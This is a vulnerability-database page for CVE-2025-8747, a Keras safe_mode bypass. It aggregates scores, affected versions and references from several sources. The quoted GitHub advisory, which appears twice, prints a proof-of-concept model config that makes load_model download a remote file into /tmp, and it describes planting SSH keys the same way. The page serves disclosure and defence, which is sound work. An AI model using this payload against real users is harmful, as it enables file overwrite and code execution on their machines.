CVE-2025-8747
Keras safe_mode bypass allows arbitrary code execution when loading a malicious model.
A safe mode bypass vulnerability in the Model.load_model method in Keras versions 3.0.0 through 3.10.0 allows an attacker to achieve arbitrary code execution by convincing a user to load a specially crafted .keras model archive.
Attack profile
How easy it is to exploit
- Attack vector
- Local
- Complexity
- Low
- Privileges needed
- Low
- User interaction
- Passive
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
8.6
Keras safe_mode bypass allows arbitrary code execution when loading a malicious model.
A safe mode bypass vulnerability in the Model.load_model method in Keras versions 3.0.0 through 3.10.0 allows an attacker to achieve arbitrary code execution by convincing a user to load a specially crafted .keras model archive.
- Record
CVE-2025-8747- CVSS 4.0
- 8.6 High
CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/AU:Y/R:A - Weakness
- CWE-502
- Updated
- 2026-11-02
EUVDEUVD-2025-24127
8.6
A safe mode bypass vulnerability in the Model.load_model method in Keras versions 3.0.0 through 3.10.0 allows an attacker to achieve arbitrary code execution by convincing a user to load a specially crafted .keras model archive.
- Record
EUVD-2025-24127- CVSS 4.0
- 8.6 High
CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/AU:Y/R:A - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-c9rc-mg46-23w3
8.8
Keras vulnerable to CVE-2025-1550 bypass via reuse of internal functionality
Summary
It is possible to bypass the mitigation introduced in response to CVE-2025-1550, when an untrusted Keras v3 model is loaded, even when “safe_mode” is enabled, by crafting malicious arguments to built-in Keras modules.
The vulnerability is exploitable on the default configuration and does not depend on user input (just requires an untrusted model to be loaded).
Impact
| Type | Vector |Impact| | -------- | ------- | ------- | |Unsafe deserialization |Client-Side (when loading untrusted model)|Arbitrary file overwrite. Can lead to Arbitrary code execution in many cases.|
Details
Keras’ safe_mode flag is designed to disallow unsafe lambda deserialization - specifically by rejecting any arbitrary embedded Python code, marked by the “lambda” class name. https://github.com/keras-team/keras/blob/v3.8.0/keras/src/saving/serialization_lib.py#L641 -
if config["class_name"] == "__lambda__":
if safe_mode:
raise ValueError(
"Requested the deserialization of a `lambda` object. "
"This carries a potential risk of arbitrary code execution "
"and thus it is disallowed by default. If you trust the "
"source of the saved model, you can pass `safe_mode=False` to "
"the loading function in order to allow `lambda` loading, "
"or call `keras.config.enable_unsafe_deserialization()`."
)
A fix to the vulnerability, allowing deserialization of the object only from internal Keras modules, was introduced in the commit bb340d6780fdd6e115f2f4f78d8dbe374971c930.
package = module.split(".", maxsplit=1)[0]
if package in {"keras", "keras_hub", "keras_cv", "keras_nlp"}:
However, it is still possible to exploit model loading, for example by reusing the internal Keras function keras.utils.get_file, and download remote files to an attacker-controlled location.
This allows for arbitrary file overwrite which in many cases could also lead to remote code execution. For example, an attacker would be able to download a malicious authorized_keys file into the user’s SSH folder, giving the attacker full SSH access to the victim’s machine.
Since the model does not contain arbitrary Python code, this scenario will not be blocked by “safe_mode”. It will bypass the latest fix since it uses a function from one of the approved modules (keras).
Example
The following truncated config.json will cause a remote file download from https://raw.githubusercontent.com/andr3colonel/when_you_watch_computer/refs/heads/master/index.js to the local /tmp folder, by sending arbitrary arguments to Keras’ builtin function keras.utils.get_file() -
{
"class_name": "Lambda",
"config": {
"arguments": {
"origin": "https://raw.githubusercontent.com/andr3colonel/when_you_watch_computer/refs/heads/master/index.js",
"cache_dir":"/tmp",
"cache_subdir":"",
"force_download": true},
"function": {
"class_name": "function",
"config": "get_file",
"module": "keras.utils"
}
},
PoC
-
Download malicious_model_download.keras to a local directory
-
Load the model -
from keras.models import load_model
model = load_model("malicious_model_download.keras", safe_mode=True)
- Observe that a new file
index.jswas created in the/tmpdirectory
Fix suggestions
- Add…
- Record
GHSA-c9rc-mg46-23w3- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H - Weakness
- CWE-502
- Updated
- 2026-11-02
NVD
8.6
A safe mode bypass vulnerability in the Model.load_model method in Keras versions 3.0.0 through 3.10.0 allows an attacker to achieve arbitrary code execution by convincing a user to load a specially crafted .keras model archive.
- Record
CVE-2025-8747- CVSS 4.0
- 8.6 High
CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:A/V:X/RE:X/U:X - CVSS 3.1
- 7.8 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H - Weakness
- CWE-502
- Updated
- 2026-11-02
OSV
8.6
Keras safe_mode bypass allows arbitrary code execution when loading a malicious model.
A safe mode bypass vulnerability in the Model.load_model method in Keras versions 3.0.0 through 3.10.0 allows an attacker to achieve arbitrary code execution by convincing a user to load a specially crafted .keras model archive.
- Record
CVE-2025-8747- CVSS 4.0
- 8.6 High
CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/AU:Y/R:A - Weakness
- CWE-502
- Updated
- 2026-11-02
OSVGHSA-c9rc-mg46-23w3
8.8
Keras vulnerable to CVE-2025-1550 bypass via reuse of internal functionality
Summary
It is possible to bypass the mitigation introduced in response to CVE-2025-1550, when an untrusted Keras v3 model is loaded, even when “safe_mode” is enabled, by crafting malicious arguments to built-in Keras modules.
The vulnerability is exploitable on the default configuration and does not depend on user input (just requires an untrusted model to be loaded).
Impact
| Type | Vector |Impact| | -------- | ------- | ------- | |Unsafe deserialization |Client-Side (when loading untrusted model)|Arbitrary file overwrite. Can lead to Arbitrary code execution in many cases.|
Details
Keras’ safe_mode flag is designed to disallow unsafe lambda deserialization - specifically by rejecting any arbitrary embedded Python code, marked by the “lambda” class name. https://github.com/keras-team/keras/blob/v3.8.0/keras/src/saving/serialization_lib.py#L641 -
if config["class_name"] == "__lambda__":
if safe_mode:
raise ValueError(
"Requested the deserialization of a `lambda` object. "
"This carries a potential risk of arbitrary code execution "
"and thus it is disallowed by default. If you trust the "
"source of the saved model, you can pass `safe_mode=False` to "
"the loading function in order to allow `lambda` loading, "
"or call `keras.config.enable_unsafe_deserialization()`."
)
A fix to the vulnerability, allowing deserialization of the object only from internal Keras modules, was introduced in the commit bb340d6780fdd6e115f2f4f78d8dbe374971c930.
package = module.split(".", maxsplit=1)[0]
if package in {"keras", "keras_hub", "keras_cv", "keras_nlp"}:
However, it is still possible to exploit model loading, for example by reusing the internal Keras function keras.utils.get_file, and download remote files to an attacker-controlled location.
This allows for arbitrary file overwrite which in many cases could also lead to remote code execution. For example, an attacker would be able to download a malicious authorized_keys file into the user’s SSH folder, giving the attacker full SSH access to the victim’s machine.
Since the model does not contain arbitrary Python code, this scenario will not be blocked by “safe_mode”. It will bypass the latest fix since it uses a function from one of the approved modules (keras).
Example
The following truncated config.json will cause a remote file download from https://raw.githubusercontent.com/andr3colonel/when_you_watch_computer/refs/heads/master/index.js to the local /tmp folder, by sending arbitrary arguments to Keras’ builtin function keras.utils.get_file() -
{
"class_name": "Lambda",
"config": {
"arguments": {
"origin": "https://raw.githubusercontent.com/andr3colonel/when_you_watch_computer/refs/heads/master/index.js",
"cache_dir":"/tmp",
"cache_subdir":"",
"force_download": true},
"function": {
"class_name": "function",
"config": "get_file",
"module": "keras.utils"
}
},
PoC
-
Download malicious_model_download.keras to a local directory
-
Load the model -
from keras.models import load_model
model = load_model("malicious_model_download.keras", safe_mode=True)
- Observe that a new file
index.jswas created in the/tmpdirectory
Fix suggestions
- Add…
- Record
GHSA-c9rc-mg46-23w3- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H - Weakness
- CWE-502
- Updated
- 2026-11-02
OSVPYSEC-2025-75
7.8
A safe mode bypass vulnerability in the Model.load_model method in Keras versions 3.0.0 through 3.10.0 allows an attacker to achieve arbitrary code execution by convincing a user to load a specially crafted .keras model archive.
- Record
PYSEC-2025-75- CVSS 3.1
- 7.8 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVUBUNTU-CVE-2025-8747
8.6
A safe mode bypass vulnerability in the Model.load_model method in Keras versions 3.0.0 through 3.10.0 allows an attacker to achieve arbitrary code execution by convincing a user to load a specially crafted .keras model archive.
- Record
UBUNTU-CVE-2025-8747- CVSS 4.0
- 8.6 High
CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/AU:Y/R:A - CVSS 3.1
- 7.8 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVAZL-66171 No score
CVE-2025-8747 affecting package keras for versions less than 3.3.3-3
A safe mode bypass vulnerability in the Model.load_model method in Keras versions 3.0.0 through 3.10.0 allows an attacker to achieve arbitrary code execution by convincing a user to load a specially crafted .keras model archive.
- Record
AZL-66171- Updated
- 2026-11-05
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
kerasPyPI |
3.0.0 up to 3.11.0 | 3.11.0 |
kerasAzure Linux:3 |
before 3.3.3-3 | 3.3.3-3 |
kerasPyPI |
3.0.0 up to 3.11.0, plus listed versions 3.0.13.0.23.0.33.0.43.0.5 Show 18 moreShow less3.1.03.1.13.10.03.2.03.2.13.3.03.3.13.3.23.3.33.4.03.4.13.5.03.6.03.7.03.8.03.9.03.9.13.9.2 |
3.11.0 |
kerasPyPI |
Not stated | Not evaluated |
kerasUbuntu:18.04:LTS |
All versions, plus listed versions 1.0.7-22.1.1-1 |
None known |
kerasUbuntu:20.04:LTS |
All versions, plus listed versions 2.2.4-1 |
None known |
Not evaluated means the source gave git commits or a range we can't read, so we can't tell which releases are affected. A fixed version beside it is the source’s own claim.
History
| Recorded | Changed | Sources |
|---|---|---|
| facts | OSV | |
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2025-8747 is a high vulnerability (CVSS 8.6) in Google Keras, published August 11, 2025. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.12%, the 2nd percentile. Fixed in keras 3.11.0.
References
github.com/keras-team/keras/pull/21429
jfrog.com/blog/keras-safe_mode-bypass-vulnerability
github.com/keras-team/keras/security/advisories/GHSA-c9rc-mg46-23w3
nvd.nist.gov/vuln/detail/CVE-2025-8747
github.com/keras-team/keras/commit/713172ab56b864e59e2aa79b1a51b0e728bba858
github.com/pypa/advisory-database/tree/main/vulns/keras/PYSEC-2025-75.yaml
Left out here: the rest of 2 source descriptions. The JSON record has them.